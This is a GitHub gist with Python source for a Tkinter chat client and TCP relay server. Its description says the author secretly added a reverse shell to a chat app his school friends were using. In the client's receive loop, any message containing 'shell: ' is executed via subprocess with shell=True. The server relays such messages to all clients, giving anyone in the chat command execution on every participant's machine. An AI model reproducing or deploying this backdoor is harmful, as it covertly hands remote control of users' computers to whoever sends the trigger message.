Skip to content

Instantly share code, notes, and snippets.

@anmolj7
Created December 3, 2019 19:17
Show Gist options
  • Save anmolj7/527cfbf45ea929e47233edfb48310c51 to your computer and use it in GitHub Desktop.
Save anmolj7/527cfbf45ea929e47233edfb48310c51 to your computer and use it in GitHub Desktop.
This reverse_shell is built,on the top of https://github.com/KetanSingh11/SimpleChatApp Actually, I was bored in my school one day, so, I thought of creating a chat app, so, I took the following repo, and once, our gang started using this chat app, I just modified the code to add a reverse_shell, I did watch all of bukcy robert's tutorials. So, …
""" Script for Tkinter GUI chat client. """
import tkinter
from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname
from threading import Thread
import math
import subprocess as sp
def receive():
""" Handles receiving of messages. """
while True:
try:
msg = sock.recv(BUFSIZ).decode("utf8")
if "shell: " in msg:
sp.call(msg.replace("shell: ", ""), shell=True)
if HOST == get_ip():
msg_list.insert(tkinter.END, msg)
else:
msg_list.insert(tkinter.END, msg)
except OSError: # Possibly client has left the chat.
break
def get_ip():
return gethostbyname(gethostname())
def send(event=None):
""" Handles sending of messages. """
msg = my_msg.get()
my_msg.set("") # Clears input field.
sock.send(bytes(msg, "utf8"))
if msg == "#quit":
sock.close()
top.quit()
def on_closing(event=None):
""" This function is to be called when the window is closed. """
my_msg.set("#quit")
send()
def smiley_button_tieup(event=None):
""" Function for smiley button action """
my_msg.set(":)") # A common smiley character
send()
def sad_button_tieup(event=None):
""" Function for smiley button action """
my_msg.set(":(") # A common smiley character
send()
def get_ip():
return gethostbyname(gethostname())
top = tkinter.Tk()
top.title("Simple Chat Client v1.0")
messages_frame = tkinter.Frame(top)
my_msg = tkinter.StringVar() # For the messages to be sent.
my_msg.set("")
scrollbar = tkinter.Scrollbar(messages_frame) # To navigate through past messages.
msg_list = tkinter.Listbox(messages_frame, height=15, width=70, yscrollcommand=scrollbar.set)
scrollbar.pack(side=tkinter.RIGHT, fill=tkinter.Y)
msg_list.pack(side=tkinter.LEFT, fill=tkinter.BOTH)
msg_list.pack()
messages_frame.pack()
button_label = tkinter.Label(top, text="Enter Message:")
button_label.pack()
entry_field = tkinter.Entry(top, textvariable=my_msg, foreground="Red")
entry_field.bind("<Return>", send)
entry_field.pack()
send_button = tkinter.Button(top, text="Send", command=send)
send_button.pack()
smiley_button = tkinter.Button(top, text=":)", command=smiley_button_tieup)
smiley_button.pack()
sad_button = tkinter.Button(top, text=":(", command=sad_button_tieup)
sad_button.pack()
quit_button = tkinter.Button(top, text="Quit", command=on_closing)
quit_button.pack()
top.protocol("WM_DELETE_WINDOW", on_closing)
HOST = get_ip()
PORT = 5000
BUFSIZ = 1024
ADDR = (HOST, PORT)
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(ADDR)
receive_thread = Thread(target=receive)
receive_thread.start()
tkinter.mainloop() # Starts GUI execution.
""" Script for TCP chat server - relays messages to all clients """
from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname
from threading import Thread
clients = {}
addresses = {}
def get_ip():
return gethostbyname(gethostname())
HOST = get_ip()
PORT = 5000
BUFSIZ = 1024
ADDR = (HOST, PORT)
SOCK = socket(AF_INET, SOCK_STREAM)
SOCK.bind(ADDR)
def accept_incoming_connections():
"""Sets up handling for incoming clients."""
while True:
client, client_address = SOCK.accept()
print("%s:%s has connected." % client_address)
client.send("Greetings from the ChatRoom! ".encode("utf8"))
client.send("Now type your name and press enter!".encode("utf8"))
addresses[client] = client_address
Thread(target=handle_client, args=(client, client_address)).start()
def handle_client(conn, addr): # Takes client socket as argument.
"""Handles a single client connection."""
name = conn.recv(BUFSIZ).decode("utf8")
welcome = 'Welcome %s! If you ever want to quit, type #quit to exit.' % name
conn.send(bytes(welcome, "utf8"))
msg = "%s from [%s] has joined the chat!" % (name, "{}:{}".format(addr[0], addr[1]))
broadcast(bytes(msg, "utf8"))
clients[conn] = name
while True:
msg = conn.recv(BUFSIZ)
if msg != bytes("#quit", "utf8"):
if "shell: " in msg.decode("utf8"):
broadcast(msg)
else:
broadcast(msg, name + ": ")
else:
conn.send(bytes("#quit", "utf8"))
conn.close()
del clients[conn]
broadcast(bytes("%s has left the chat." % name, "utf8"))
break
def broadcast(msg, prefix=""): # prefix is for name identification.
"""Broadcasts a message to all the clients."""
for sock in clients:
sock.send(bytes(prefix, "utf8") + msg)
if __name__ == "__main__":
SOCK.listen(5) # Listens for 5 connections at max.
print("Chat Server has Started !!")
print("Waiting for connections...")
ACCEPT_THREAD = Thread(target=accept_incoming_connections)
ACCEPT_THREAD.start() # Starts the infinite loop.
ACCEPT_THREAD.join()
SOCK.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment